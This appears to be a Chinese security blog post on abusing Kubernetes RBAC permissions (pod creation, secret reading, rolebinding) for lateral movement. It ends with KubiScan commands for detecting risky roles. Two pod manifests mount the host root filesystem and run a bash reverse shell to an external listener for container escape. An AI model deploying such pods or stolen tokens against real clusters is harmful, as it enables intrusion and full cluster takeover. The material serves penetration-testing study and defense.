在上一篇文章中我们讲了RBAC授权,传送门:K8s API访问控制 。并且绝大多数版本的K8s都默认使用RBAC作为其默认的授权方式。那么RBAC授权在我们进行K8s集群横向移动的时候有哪些可利用点呢?本篇文章我们介绍在K8s集群横向移动时如何滥用RBAC权限,并通过滥用的RBAC权限横向获得集群的cluster-admin权限接管整个K8s集群。

假如我们在K8s集群横向移动的时候,获得了一个kubeconfig文件或者获得了一个Token,亦或者是获得了某台pod的权限。那么接下来我们的横向思路是什么呢?

在之前的文章中我们知道,一个Pod必须要以某一个Service Account的身份去运行,而一个Service Account对应着一个Secret,一个Secret保存着一个Token和公钥文件。所以获得了Pod的权限就意味着获得了一个具有访问K8s API Server的Service Account,只不过默认情况下该Service Account所拥有的权限比较低而已。而获得的Token最终也是可以转换到一个Service Account对象,该Service Account对象的权限取决于它所绑定的角色。而kubeconfig文件也是可以最终转换到对应的访问主体上(User/Group),该kubeconfig文件的权限取决于所对应的主体绑定的角色。

所以这个问题最后就归结到所获得的kubeconfig文件、Token、Pod所对应的主体绑定的角色如何。

以下我们以获得了某个Pod权限为例作为演示,这也是实战中碰到最多的情况。

RBAC权限滥用

首先,需要查看该pod对应的Token所拥有的权限,可以执行如下命令进行查看,查看其他的资源权限命令也一样。


#查看是否拥有 cluster-admin 的权限kubectl auth can-i "*" "*" --insecure-skip-tls-verify -s https://172.16.200.70:6443  --token="xxxx"#列出当前用户对所有服务器资源的访问权限kubectl auth can-i --list --insecure-skip-tls-verify -s https://172.16.200.70:6443  --token="xxxx"#列出当前用户对所有指定命名空间的访问权限kubectl auth can-i --list --namespace=kube-system --insecure-skip-tls-verify -s https://172.16.200.70:6443  --token="xxxx"#pod相关kubectl auth can-i create pod --insecure-skip-tls-verify -s https://172.16.200.70:6443  --token="xxxx"kubectl auth can-i list pod --insecure-skip-tls-verify -s https://172.16.200.70:6443  --token="xxxx"kubectl auth can-i get pod --insecure-skip-tls-verify -s https://172.16.200.70:6443  --token="xxxx"

对于不同资源的权限,我们比较关注如下几个:

  • 创建pod权限
  • 查看secret权限
  • 创建Rolebinding/clusterrolebinding权限


创建POD权限

创建pod权限对于攻击者来说是很重要的,如果攻击者拥有了创建pod权限,那么攻击者则可以在master节点创建特权容器挂载宿主机的目录,从而进行容器逃逸获得宿主机master节点的权限,从而接管整个K8s集群。

而创建pod权限也分为在整个K8s集群创建pod和在指定的命名空间下创建pod。

指定命名空间

如下,创建一个具有创建pod权限的role,名为create-pod,作用的命名空间为test。


kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata:  namespace: test  name: create-podrules:- apiGroups: ["*"]  resources: ["pods"]  verbs: ["create","get"]

注:要想能创建pod,需要对pods拥有get和create权限。

然后再创建ServiceAccount test-sa,并将test-sa与create-pod进行rolebinding,作用的命名空间为test。


#在test命名空间创建test-sa服务账户kubectl create serviceaccount test-sa -n test#将test-sa与create-pod进行rolebindingkubectl create rolebinding test-sa-rolebinding -n test --role=create-pod --serviceaccount=test:test-sa

此时服务账户test-sa的token在test命名空间内就具有创建pod的权限了。执行如下命令查看服务账户test-sa所对应的token。


#获得服务账户test-sa所对应的secretkubectl get serviceaccounts test-sa -n test -o yaml#查看指定secret的Tokenkubectl describe secret test-sa-token-s4pgj -n test

假如我们现在获得了该Token,并想利用该Token进行横向移动。

可以看到该Token在test命名空间下具有create/get pod的权限。

拥有创建pod的权限我们一般的思路是创建一个挂载了宿主机根目录的pod,然后再进入pod进行逃逸。如下我们在创建pod的时候指定命令来进行反弹shell,并且挂载了宿主机的根目录到/mnt下,如下是创建pod的yml文件:


apiVersion: v1kind: Podmetadata:  name: myapp2  namespace: testspec:  containers:  - image: nginx    name: container    command: ["bash"]    args: ["-c", "bash -i >& /dev/tcp/172.16.200.60/4444 0>&1"]    volumeMounts:    - mountPath: /mnt      name: test  volumes:  - name: test    hostPath:      path: /

执行如下命令利用该token远程访问API Server并创建pod。

pod创建完成后,可以看到接收到了目标pod的权限,并且挂载了宿主机的目录。然后就可以逃逸到宿主机了。

注:我们可以直接在创建pod的yml文件中使用spec.nodeName指定master节点。逃逸成功后就直接获得了master节点的权限了。

集群角色

如下,创建一个具有创建pod权限的clusterrole,名为create-pod。


kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata:  name: create-podrules:- apiGroups: ["*"]  resources: ["pods"]  verbs: ["create","get"]

然后再创建ServiceAccount test-sa10,并将test-sa10与create-pod进行clusterrolebinding。


#在test命名空间创建test-sa10服务账户kubectl create serviceaccount test-sa10 -n test#将test-sa10与create-pod进行clusterrolebindingkubectl create clusterrolebinding test-sa10-clusterrolebinding --clusterrole=create-pod --serviceaccount=test:test-sa10

此时服务账户test-sa10的token在整个集群内就具有创建pod的权限了。执行如下命令查看服务账户test-sa10的token。


#获得服务账户test-sa所对应的secretkubectl get serviceaccounts test-sa10 -n test -o yaml#查看指定secret的Tokenkubectl describe secret test-sa10-token-4c8wm -n test

假如我们现在获得了该Token,并想利用该Token进行横向移动。

我们接下来的思路是在创建pod的时候,手动指定高权限的ServiceAccount namespace-controller并指定命令来进行反弹shell,如下是创建pod的yml文件:


apiVersion: v1kind: Podmetadata:  name: myapp  namespace: kube-systemspec:  serviceAccountName: "namespace-controller"  containers:  - image: nginx    name: container    command: ["bash"]    args: ["-c", "bash -i >& /dev/tcp/172.16.200.60/4444 0>&1"]  volumes:  - name: test    hostPath:      path: /

等待pod创建完成,接收到shell。由于这个pod绑定的服务账户是指定的namespace-controller,因此具有这个服务账户所有的权限。

服务账户namespace-controller所拥有的权限如下

因此可以利用该Token做任何事,包括查看集群内所有的secret。

查看secret权限

查看secret权限需要对secret具有list和get权限。并且默认情况下,只有kube-system命名空间下的secret具有高权限。

list secret

拥有list secret的权限可以列举出集群中所有的secret,但是不能读取secret所对应的Token。

如下,创建一个具有list secret权限的ClusterRole,名为list-secret。


kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata:  name: list-secretrules:- apiGroups: ["*"]  resources: ["secrets"]  verbs: ["list"]

然后再创建ServiceAccount test-sa2,并将test-sa2与list-secret进行clusterrolebinding。


#在test命名空间创建test-sa2服务账户kubectl create serviceaccount test-sa2 -n test#将test-sa2与list-secret进行clusterrolebindingkubectl create clusterrolebinding test-sa2-clusterrolebinding --clusterrole=list-secret --serviceaccount=test:test-sa2

此时服务账户test-sa2的token就具有list secret的权限了。执行如下命令查看服务账户test-sa2所对应的token。


#获得服务账户test-sa2所对应的secretkubectl get serviceaccounts test-sa2 -n test -o yaml#查看指定secret的Tokenkubectl describe secret test-sa2-token-q588z -n test

假如我们现在获得了该Token,并想利用该Token进行横向移动。 查看该token所具有的权限,可以看到只有list secret的权限。

利用该token进行认证可以列出所有的secrets。

但是想查看secret的具体信息的话还是没有权限,原因在于查看secret的具体信息需要get secret权限。

get secret

拥有get secert的权限可以获得集群中指定的secret所对应的Token。如下,创建一个具有get secret权限的ClusterRole,名为get-secret。


kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata:  name: get-secretrules:- apiGroups: ["*"]  resources: ["secrets"]  verbs: ["get"]

然后再创建ServiceAccount test-sa3,并将test-sa3与get-secret进行clusterrolebinding。


#在test命名空间创建test-sa3服务账户kubectl create serviceaccount test-sa3 -n test#将test-sa3与get-secret进行clusterrolebindingkubectl create clusterrolebinding test-sa3-clusterrolebinding --clusterrole=get-secret --serviceaccount=test:test-sa3

此时服务账户test-sa3的token就具有get secret的权限了。执行如下命令查看服务账户test-sa3所对应的token。


#获得服务账户test-sa3所对应的secretkubectl get serviceaccounts test-sa3 -n test -o yaml#查看指定secret的Tokenkubectl describe secret test-sa3-token-k5tm4 -n test

假如我们现在获得了该Token,并想利用该Token进行横向移动。

查看该token所具有的权限,可以看到只有get secret的权限。

具有get secret权限可以查看secret的具体信息,但是需要secret的具体名字。而获得secret的具体名字需要有list secret权限,如下图所示。当知道了secret的具体名字后即可查看对应secret的token。

因此,仅仅有get secret权限也是不够的,需要和list secret一起结合使用。

K8s默认的高权限secret

K8s有如下secret默认是具有高权限的,只要获得了这些secret的token,就可以进行提权。最后面的五个字符是随机生成的,并且拥有27^5种可能性,如下:

  • bootstrap-signer-token-xxxxx
  • daemon-set-controller-token-xxxxx
  • generic-garbage-collector-token-xxxxx
  • namespace-controller-token-xxxxx
  • replicaset-controller-token-xxxxx
  • resourcequota-controller-token-xxxxx
  • token-cleaner-token-xxxxx


我们以bootstrap-signer-token-962js 为例,查看它的权限。该secret所对应的ServiceAccount为bootstrap-signer


kubectl describe secret bootstrap-signer-token-962js -n kube-system

对Token进行JWT解码 https://jwt.io/#debugger 也可以看到

查看该ServiceAccount绑定的角色,可以看到绑定的角色为Role/system:controller:bootstrap-signer。


kubectl get RoleBindings -o wide -A | grep bootstrap-signer

最后查看该角色所对应的权限,可以看到所拥有的权限为对secrets具有get、list、watch的权限。


kubectl get Role/system:controller:bootstrap-signer -o yaml -n kube-system

创建rolebinding/clusterrolebinding权限

如果攻击者拥有rolebinding(作用在命名空间kube-system)或者clusterrolebinding权限,则攻击者可以将当前所控制的主体与高权限的Role/clusterRole进行绑定,从而进行提权。

如下,创建一个具有create rolebinding权限的rRole,名为create-rolebinding,作用在kube-system命名空间。


kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata:  name: create-rolebinding  namespace: kube-systemrules:- apiGroups: ["*"]  resources: ["rolebindings"]  verbs: ["create"]

然后在kube-system命名空间创建ServiceAccount test-sa5,并将test-sa5与create-rolebinding进行rolebinding。


#在test命名空间创建test-sa5服务账户kubectl create serviceaccount test-sa5 -n kube-system#将test-sa5与create-rolebinding进行rolebindingkubectl create rolebinding test-sa5-rolebinding -n kube-system --role=create-rolebinding --serviceaccount=kube-system:test-sa5

此时服务账户test-sa5的token就具有create rolebinding的权限了。执行如下命令查看服务账户test-sa5所对应的token。


#获得服务账户test-sa5所对应的secretkubectl get serviceaccounts test-sa5 -n kube-system -o yaml#查看指定secret的Tokenkubectl describe secret test-sa5-token-l455n -n kube-system

假如我们现在获得了该Token,并想利用该Token进行横向移动。

此时我们就可以利用该Token给kube-system命名空间下的test-sa5进行rolebinding,绑定的role为system:controller:bootstrap-signer,该role默认对kube-system命名空间下的secrets进行get、list、watch。但是当我们使用该token进行rolebinding的时候,提示如下错误。

那么为什么会报错呢?

原因在于RBAC API 会阻止用户通过编辑角色或者角色绑定来提升权限。

检测RBAC权限滥用

对于K8s集群管理员来说,可以利用下面的这款工具检测集群内的高危对象。

项目地址:

https://github.com/cyberark/KubiScan

查找集群中所有高危的对象

执行如下命令查找集群中所有高危的对象,如所有高危的Roles\ClusterRoles, RoleBindings\ClusterRoleBindings, users and pods\containers


kubiscan -a

查找具有高权限的Role/ClusterRole


#查找具有高权限的Rolekubiscan -rr#查找具有高权限的Role,并显示具有的规则kubiscan -rr -r#查找具有高权限的ClusterRolekubiscan -rcr#查找具有高权限的ClusterRole,并显示具有的规则kubiscan -rcr -r
#查找具有高权限的Role和ClusterRolekubiscan -rar#查找具有高权限的Role和ClusterRole,并显示具有的规则kubiscan -rar -r

查找具有高权限的Rolebindings/ClusterRolebindings


#查找具有高权限的Rolebindingskubiscan -rb#查找具有高权限的ClusterRolebindingskubiscan -rcb#查找具有高权限的Rolebindings和ClusterRolebindingskubiscan -rab

查询具有高权限的主体


kubiscan -rp

查找关联了高权限ServiceAccount的pod


kubiscan -rp

查找特权pod


kubiscan -pp

查找指定主体绑定的权限

指定命名空间下的ServiceAccount绑定的角色

执行如下命令查找kube-system命名空间下daemon-set-controller服务账户绑定的角色。

kubiscan -aars "daemon-set-controller" -ns "kube-system" -k "ServiceAccount"

指定User绑定的角色

执行如下命令查找system:kube-controller-manager用户绑定的角色。

kubiscan -aars "system:kube-controller-manager" -k "User"

指定Group绑定的角色

执行如下命令查找system:masters组绑定的角色。

kubiscan -aars "system:masters" -k "Group"

查找指定主体的绑定

指定命名空间下的ServiceAccount的绑定

kubiscan -aarbs "daemon-set-controller" -ns "kube-system" -k "ServiceAccount"

指定User的绑定

执行如下命令查找system:kube-controller-manager用户的绑定。


kubiscan -aarbs "system:kube-controller-manager" -k "User"

指定Group的绑定

执行如下命令查找system:masters组的绑定。


kubiscan -aarbs "system:masters" -k "Group"